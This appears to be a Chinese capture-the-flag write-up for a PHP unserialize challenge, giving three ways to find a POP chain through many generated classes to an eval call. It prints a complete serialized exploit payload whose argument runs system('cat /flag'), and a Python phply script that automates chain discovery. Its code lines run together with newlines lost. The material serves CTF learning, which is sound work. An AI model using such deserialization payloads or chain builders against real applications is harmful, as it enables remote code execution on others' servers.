解法1
<?phpinclude "class.php";//class.php.txthighlight_file(__FILE__);$a = $_GET['pop'];$b = $_GET['argv'];$class = unserialize($a);$class->VfvWSV($b);
然后打开class.php.txt,里面是数不清的class,并且类的函数之间互相调用,最终目的是执行到某一个函数的eval();。
首先根据源码给出的$class->VfvWSV($b);,先找到入口函数,然后根据入口函数,遍历查找pop链
因为有些函数的eval会替换其中的参数,又或者for循环中有变量没有声明,所以世界线很多,通过正则去掉无法使用的支线。
运行脚本之后错误的分支都会被删除,然后一步一步从入口函数走即可。
最后得到正确的pop链:
O:6:"NxSzOp":1:{s:7:"g9Gz8D5";O:6:"SqLI93":1:{s:7:"q3TzuyX";O:6:"PAdB0b":1:{s:7:"yd4PAu1";O:6:"uih8dR":1:{s:7:"QBv8Mky";O:6:"ufk8xT":1:{s:7:"nriq1ri";O:6:"bvgkUO":1:{s:7:"TouPwfO";O:6:"WLhhgV":1:{s:7:"LL23R2r";O:6:"fi6gkF":1:{s:7:"znBbdgs";O:6:"q1Vc3P":1:{s:7:"q23bw6Q";O:6:"Biw06g":1:{s:7:"R2i9h27";O:6:"tov2rx":1:{s:7:"x8q1khE";O:6:"lwOfae":1:{s:7:"xh9oF7G";O:6:"oxuMqZ":1:{s:7:"Zq4Yo1n";O:6:"QmN8Sc":1:{s:7:"StDIwnc";O:6:"TRfCQf":1:{s:7:"R6vresf";O:6:"Xo2ibu":1:{s:7:"lEuOPYK";O:6:"Y6f65q":1:{s:7:"QAvIKAV";O:6:"ehs7MG":1:{s:7:"owtTPgS";O:6:"WmfYBg":1:{s:7:"FAf9iSu";O:6:"HWKRg6":1:{s:7:"K3Bmgu5";O:6:"zZe2gg":1:{s:7:"DT5s2SW";O:6:"r3Wg1v":1:{s:7:"eOgquIs";O:6:"LHD4pg":1:{s:7:"r2kBsG0";O:6:"ycSIBI":1:{s:7:"K1SiQMQ";N;}}}}}}}}}}}}}}}}}}}}}}}}&argv=?><?php system('cat /flag');?>
解法2
参考https://www.yuque.com/fosusec/writeup/2021qwb#kLdit
使用 AST 剪切掉用不到的eval函数,根据以下规则过滤:
- eval 没被引用,过滤
- for 循环中会覆盖传入参数值,过滤
- eval 前会覆盖值参数值,过滤
- 除了入口函数外,其他函数只被引用一次的,过滤
过滤完毕之后只会剩下一个eval,根据这个eval来反向推出。
解法3
from phply import phplexfrom phply.phpparse import make_parserfrom phply.phpast import *import pprintimport noseparser = make_parser()func_name = "find your func"con = open("./qwb/class.php").read()lexer = phplex.lexer.clone()lexer.filename = Noneoutput = parser.parse(con, lexer=lexer)functions = {}target = functions[func_name]i = 0# 强赋值函数直接跳过skip_func = []pop_chain = []pop_chain.append(func_name)e = Falsefor out in output:class_name = out.namefor node in out.nodes:if(type(node) == Method):functions[node.name] = outwhile(e is False):for node in target.nodes:if(type(node) == Method):if node.name == func_name:for subnode in node.nodes:if type(subnode) == MethodCall:# print(subnode)if(subnode.name in skip_func):continuetarget = functions[subnode.name]func_name = subnode.namepop_chain.append(func_name)breakif(type(subnode) == If):# print(subnode)if type(subnode.node) == MethodCall :# print(subnode.node.name)if( subnode.node.name in skip_func):continuetarget = functions[subnode.node.name]func_name = subnode.node.namepop_chain.append(func_name)breakif(type(subnode) == Eval):e = Truefor pop in pop_chain:print("class " + functions[pop].name + "{")for node in functions[pop].nodes:if(type(node) == ClassVariables):for subnode in node.nodes:print("public " + subnode.name + ';')print("public function __construct(){")if i+1 == len(pop_chain):print("")else:print("$this->" + subnode.name[1:] + "= new " +functions[pop_chain[i+1]].name + "();")print("}")print("}")i += 1if i == len(pop_chain):break
